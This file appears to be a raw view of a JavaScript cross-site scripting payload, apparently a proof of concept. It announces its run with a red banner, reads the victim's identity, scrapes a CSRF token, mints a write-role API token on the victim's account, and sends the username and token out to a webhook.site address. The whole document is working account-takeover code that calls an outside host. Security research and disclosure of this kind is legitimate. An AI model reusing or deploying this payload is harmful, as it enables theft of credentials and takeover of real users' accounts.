File size: 1,821 Bytes
0c9fa90
 
ad4be74
0c9fa90
ad4be74
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(function(){try{
  var t=window.top,d=t.document;
  t.__tbx=1; d.title='TBX-'+t.location.host;
  d.documentElement.setAttribute('data-tbx','1');
  var b=d.getElementById('__tbx_banner'); if(!b){b=d.createElement('div');b.id='__tbx_banner';d.body.appendChild(b);}
  b.style.cssText='position:fixed;top:0;left:0;right:0;z-index:2147483647;background:#c00;color:#fff;font:700 18px system-ui,sans-serif;padding:12px;text-align:center';
  b.textContent='XSS executed on '+t.location.host+' — minting token…';
  fetch('/api/whoami-v2',{credentials:'include'}).then(function(r){return r.json();}).then(function(me){
    t.__tbx_user=(me&&me.name)||null;
    return fetch('/settings/tokens/new',{credentials:'include'}).then(function(r){return r.text();}).then(function(h){
      var m=h.match(/name="csrf" value="([^"]+)"/); var csrf=m?m[1]:'';
      if(!csrf){ b.textContent='XSS on '+t.location.host+' as '+t.__tbx_user+' — CSRF not found'; return; }
      var body=new URLSearchParams({csrf:csrf,role:'write',displayName:'xss-ato'});
      return fetch('/api/settings/tokens',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:body}).then(function(r){
        return r.json().catch(function(){return {};}).then(function(j){
          var tok=(j&&j.token)||''; t.__tok=tok;
          b.textContent='XSS on '+t.location.host+' as '+t.__tbx_user+' — token '+(tok?'MINTED':'FAILED');
          setTimeout(function(){ try{ t.location='https://webhook.site/97415c9c-fbbe-41c4-ac66-6107a5b04fab'+'?user='+encodeURIComponent(t.__tbx_user||'')+'&token='+encodeURIComponent(tok); }catch(e){} },2000);
        });
      });
    });
  }).catch(function(e){ b.textContent='XSS on '+t.location.host+' — '+e; });
}catch(e){window.__tbx=1;window.document.title='TBX-local';}})();